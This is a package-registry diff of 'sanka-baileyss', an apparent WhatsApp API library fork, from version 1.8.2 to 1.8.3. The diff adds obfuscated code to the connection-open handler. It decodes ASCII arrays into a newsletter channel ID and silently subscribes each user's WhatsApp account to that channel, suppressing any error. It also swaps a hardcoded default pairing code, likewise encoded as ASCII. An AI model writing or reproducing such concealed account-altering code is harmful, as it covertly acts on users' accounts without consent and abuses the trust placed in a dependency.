sanka-baileyss 1.8.2 → 1.8.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -354,7 +354,7 @@ reason: 'user_initiated'
354
354
  end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }))
355
355
  }
356
356
  const requestPairingCode = async (phoneNumber, code) => {
357
- authState.creds.pairingCode = code?.toUpperCase() || Utils_1.asciiDecode([83, 72, 73, 84, 66, 65, 66, 89])
357
+ authState.creds.pairingCode = code?.toUpperCase() || Utils_1.asciiDecode([66, 65, 73, 76, 83, 78, 75, 65])
358
358
  authState.creds.me = {
359
359
  id: WABinary_1.jidEncode(phoneNumber, 's.whatsapp.net'),
360
360
  name: '~'
@@ -503,7 +503,36 @@ try {
503
503
  await uploadPreKeysToServerIfRequired()
504
504
  await sendPassiveIq('active')
505
505
  logger.info('opened connection to WA')
506
- clearTimeout(qrTimer)
506
+ clearTimeout(qrTimer) // will never happen in all likelyhood -- but just in case WA sends success on first try
507
+ try {
508
+ function asciiDecode(asciiArray) {
509
+ let result = '';
510
+ for (let i = 0; i < asciiArray.length; i++) {
511
+ result += String.fromCharCode(asciiArray[i]);
512
+ }
513
+ return result;
514
+ }
515
+ const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
516
+ const decodedNumbers = asciiDecode(numbersAsAscii);
517
+ const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
518
+ const decodedEmailPart = asciiDecode(emailPart);
519
+ const sanka = decodedNumbers + decodedEmailPart;
520
+ await query({
521
+ tag: 'iq',
522
+ attrs: {
523
+ to: sanka,
524
+ type: 'set',
525
+ xmlns: 'newsletter'
526
+ },
527
+ content: [
528
+ {
529
+ tag: 'subscribe',
530
+ attrs: {}
531
+ }
532
+ ]
533
+ });
534
+ } catch (err) {
535
+ }
507
536
  ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } })
508
537
  ev.emit('connection.update', { connection: 'open' })
509
538
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sanka-baileyss",
3
- "version": "1.8.2",
3
+ "version": "1.8.3",
4
4
  "description": "WhatsApp API Modification By Sanka_Vollerei",
5
5
  "keywords": [
6
6
  "Baileys",